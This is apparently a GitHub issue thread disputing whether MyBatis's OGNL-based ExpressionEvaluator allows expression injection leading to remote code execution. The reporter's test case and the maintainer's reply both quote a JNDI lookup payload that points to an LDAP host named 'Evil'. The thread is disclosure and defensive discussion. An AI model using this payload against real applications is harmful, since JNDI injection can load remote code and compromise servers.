Potential Express Injection Vulnerability

[qxyuan853]

Problem Statement

In the MyBatis framework, the ExpressionEvaluator module uses OGNL to evaluate the values of expressions and handle the returned results. However, this functionality may be exploited by attackers to inject carefully crafted malicious expressions, enabling attacks such as remote code execution.

A vulnerable code example.

package org.apache.ibatis.scripting.xmltags;

public class ExpressionEvaluator {
  public boolean evaluateBoolean(String expression, Object parameterObject) {
      Object value = OgnlCache.getValue(expression, parameterObject);
      if (value instanceof Boolean) {
        return (Boolean) value;
      }
      if (value instanceof Number) {
        return new BigDecimal(String.valueOf(value)).compareTo(BigDecimal.ZERO) != 0;
      }
      return value != null;
    }
}

MyBatis version

<= 3.5.17

Steps to reproduce

Considering the security implications, I just provide the following test case as an example to reproduce the attack.

class ExpressionEvaluatorTest {

  private final ExpressionEvaluator evaluator = new ExpressionEvaluator();
 @Test
  void shouldReturnFalseIfZero() {
    String query = "@javax.naming.InitialContext@doLookup('ldap://127.0.0.1:8087/Evil')";
    boolean value = evaluator.evaluateBoolean(query,
        new Author(0, "cbegin", null, "cbegin@apache.org", "N/A", Section.NEWS));
    assertFalse(value);
  }
}

Vulnerability Impact

Remote Command Execution (RCE), such as the invocation of the calculator application.

[harawata]

Hello @qxyuan853 ,

So, this also assumes that mybatis is used in an application that has a vulnerability allowing an attacker to execute arbitrary code using any class in the app's dependencies, am I right?
I honestly am not sure if it's possible to protect such applications comprehensively, but what do you propose?

FYI, OGNL provides a custom security manager that prevents some risky calls.
For JNDI lookup particularly, JDK provides NamingManager to prevent such attack, it seems (I've never tried it, so please correct me if this statement is inaccurate).
We also encourage developers to setup JEP-290 serialization filter. #2079

[qxyuan853]

Hi harawata,
I fully agree that achieving complete protection can be quite challenging. That said, would it be possible to provide an interface/optional configuration that simplifies security customization for users? For example, allowing them to define custom blacklists or whitelists to restrict the methods that can be invoked during expression parsing.

In addition, from what we’ve observed, most users tend to stick with the default configuration. Therefore, adding a default blacklist and whitelist restrictions might be a helpful enhancement. Otherwise, the OGNL parsing functionality in MyBatis could be more easily exploited by attackers to carry out malicious actions.

Thank you for your continued attention to this matter.

[qxyuan853]

Hi harawata,
I noticed that a similar vulnerability also previously existed in Thymeleaf (https://github.com/thymeleaf/thymeleaf), where they addressed it by using a combination of blacklists and whitelists to restrict methods that can be called on Class objects from expressions. Perhaps you could refer to their defense strategy, e.g., thymeleaf/thymeleaf@2f12983

[harawata]

The commit adds restriction to Thymeleaf's internal expression language.
If you want OGNL to provide similar restriction, you need to propose it to OGNL, not to MyBatis.

If the attacker can call OgnlCache#getValue(), they should be able to call Ognl#getValue(), so I don't see the point in protecting OgnlCache, to be honest.

And, please educate the developers you know about these security measures like JEP-290 if they haven't used them.
If developers use user input directly, for example, there is not much we (=framework/library developers) can do to protect their app.

[qxyuan853]

Hi harawata,
it seems like there might be some misunderstanding.
Thymeleaf also uses Ognl#getValue to evaluate expressions, and the issue lies in restricting the methods that can be invoked during the evaluation process. Furthermore, in practice, the security measures of JEP-290 can also be bypassed in various ways.

[harawata]

In MyBatis, risky string is not evaluated by OGNL unless 1) the app developer passes risky string directly to OGNL expression in their app or 2) there is some library that has vulnerability allowing attacker to execute arbitrary code.
Are you suggesting that we should take care of 1) ?

[qxyuan853]

However, it seems that MyBatis-3 includes scenarios where OGNL may evaluate expressions that involve user input. The dynamic SQL features in MyBatis-3 (such as , , , and ) rely on OGNL to evaluate conditional expressions. External user input, passed through the parameterObject, can be included in these expressions and dynamically evaluated by OGNL.
If my understanding is incorrect, I would greatly appreciate your clarification.

[harawata]

It might be.
Let us discuss using a concrete example.

Here is the POJO.

public class User {
  private Integer id;
  private String name;
  // getters, setters
}

The mapper and the method to search users by the properties of the User.

public interface UserMapper {
  List<User> search(User criteria);
}

The mapper statement may look something like this.

<select id="search" resultType="pkg.User">
  select id, name from user
  <where>
    <if test="name != null">
      and name = #{name}
    </if>
  </where>
</select>

Now, if the developer sets an external user's input (e.g. a request parameter) to User.name, is it safe?
The answer is "yes, it is safe".

Even if the value of name is "@javax.naming.InitialContext@doLookup('ldap://127.0.0.1:8087/Evil')", OGNL does not call the method.
The expression OGNL evaluates, in this case, is always name != null and external users cannot change that.

Hope this clarifies your concern.
If I am misunderstanding what you mean, please show us an example like the above.